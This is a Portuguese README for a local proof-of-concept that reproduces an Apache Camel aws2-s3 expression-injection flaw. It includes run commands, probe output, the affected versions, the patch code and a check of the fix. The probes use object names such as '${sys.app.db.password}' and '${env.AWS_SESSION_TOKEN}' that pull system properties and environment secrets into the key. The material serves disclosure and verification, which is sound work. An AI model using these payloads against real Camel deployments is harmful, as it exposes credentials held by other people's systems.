
Reprodutor executável em Spring Boot e Quarkus para a CVE-2026-95664, demonstrando injeção de expressão Simple por meio do cabeçalho CamelAwsS3Key no camel-aws2-s3 e verificando a correção.
Reprodutor de prova de conceito executável para a vulnerabilidade do Apache Camel em que o produtor camel-aws2-s3
obtinha a chave do objeto a partir do cabeçalho de mensagem CamelAwsS3Key e — desde a 4.8.0 —
AWS2S3Utils.determineKey() passava esse valor para a linguagem Simple sempre que ele continha ${ ou
$simple{, para que uma rota pudesse usar uma chave dinâmica. A avaliação aplicava-se a um valor obtido do
cabeçalho tanto quanto à opção keyName configurada pela rota.
| Runtime | Diretório | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-aws2-s3 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
O cabeçalho não é configuração de rota. O consumidor aws2-s3 define CamelAwsS3Key em cada exchange que
cria com a chave do objeto que leu — ou seja, o nome do objeto no bucket. Em uma rota
que não faz nada além de consumir de um endpoint aws2-s3 e produzir para outro, o nome de cada
objeto consumido chegava, portanto, ao produtor e era avaliado.
Qualquer pessoa capaz de escolher o nome de um objeto em um bucket que tal rota consome — tipicamente qualquer principal
autorizado a enviar para ele — poderia ter expressões Simple de sua escolha avaliadas dentro do processo
Camel. Simple pode ler propriedades de sistema da JVM, variáveis de ambiente e propriedades de configuração, que
comumente carregam credenciais e, com camel-bean no classpath, invocar métodos em beans do registry.
Configurar keyName no produtor não era uma proteção, porque o cabeçalho tem precedência sobre ele.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Saída em um build afetado (idêntica em ambos os runtimes):
Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client®ion=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.
Values the deployment holds but the route never references:
system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
environment AWS_SESSION_TOKEN = ENV-SESSION-TOKEN-s3cr3t-88
1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
key the producer wrote: [invoice-2026.pdf]
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
the JVM system property was resolved into the key: true
3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
the environment variable was resolved into the key: true
4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
key the producer wrote: [route1-D953127238C9F86-0000000000000000]
evaluated rather than used literally: true
5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
key the producer wrote: [archived.txt]
the configured keyName was used instead: true
>>> PROVEN: ...
A Probe 5 é a solução alternativa que o aviso de segurança fornece para implantações que ainda não podem ser atualizadas, mostrada em funcionamento.
Sem conta AWS e sem rede. O reprodutor registra um substituto de gravação para o S3
(amazonS3Client=#s3Client) que captura a chave que o produtor realmente solicitou que fosse gravada — a única coisa
que precisa ser observada. O AWS2S3Producer real e o AWS2S3Utils.determineKey() real são executados; apenas a chamada
ao SDK no final é capturada.
O driver define CamelAwsS3Key com o nome do objeto consumido, que é exatamente o que o consumidor aws2-s3
faz, portanto o lado do consumidor não precisa de um bucket próprio.
O substituto também responde a
headBucket, porqueAWS2S3Endpoint.doStart()verifica se o bucket existe antes de a rota iniciar. Essa verificação não tem relação com a falha.
| Propriedade | Valor |
|---|---|
| Componente | camel-aws2-s3 (AWS2S3Utils.determineKey()) |
| CWE | CWE-917 (Injeção de Expression Language) |
| Severidade | Média |
| Vetor de ataque | O nome de um objeto em um bucket que uma rota aws2-s3 consome, contendo ${ ou $simple{, transportado para o produtor em CamelAwsS3Key |
| Impacto | Avaliar expressões Simple no processo Camel: ler propriedades do sistema, variáveis de ambiente e propriedades de configuração; invocar métodos em beans do registro onde camel-bean está presente |
| Versões Afetadas | Da 4.8.0 anterior à 4.18.5, da 4.19.0 anterior à 4.22.2 (versões anteriores à 4.8.0 usavam o valor do cabeçalho como fornecido e não são afetadas) |
| Versões Corrigidas | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24901 |
| Crédito | Andrea Cosentino da Apache Software Foundation |
Aviso de segurança: https://camel.apache.org/security/CVE-2026-95664.html
O nome do bucket passou pela mesma avaliação, mas o consumidor apenas coloca o bucket configurado em seu próprio endpoint em um cabeçalho de bucket, nunca um valor derivado de um objeto remoto, portanto o nome do bucket não era alcançável dessa forma.
Apenas a chave configurada pela rota pode ser uma expressão Simple dinâmica. Uma chave fornecida por meio do cabeçalho agora é usada literalmente e nunca avaliada:
String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
// only the configured key (supplied by the route) may be a dynamic simple expression;
// a key provided through the header is used literally and never evaluated
key = configuration.getKeyName();
if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}
Corrigido em main em apache/camel#26746 (1fd7a667), com
backports para camel-4.22.x e camel-4.18.x.
Após a atualização, um nome de chave ou bucket fornecido por meio de um cabeçalho de mensagem é usado literalmente — portanto, uma rota
que deliberadamente colocou uma expressão Simple não avaliada em CamelAwsS3Key ou CamelAwsS3OverrideBucketName
agora deve avaliá-la na própria rota (setHeader(..., simple(...))) ou configurá-la como a opção
keyName / bucketName do endpoint.
Defina camel.version como 4.22.2 e execute novamente. Verificado com 4.22.1 → 4.22.2:
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [${sys.app.db.password}]
the JVM system property was resolved into the key: false
4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
evaluated rather than used literally: false
>>> NOT reproduced: the header was used literally.
Este repositório é publicado para fins educacionais e defensivos: para ajudar os usuários do Apache Camel a entender a vulnerabilidade, verificar se são afetados e confirmar que a atualização a resolve. Não use este material contra sistemas que você não possui ou opera.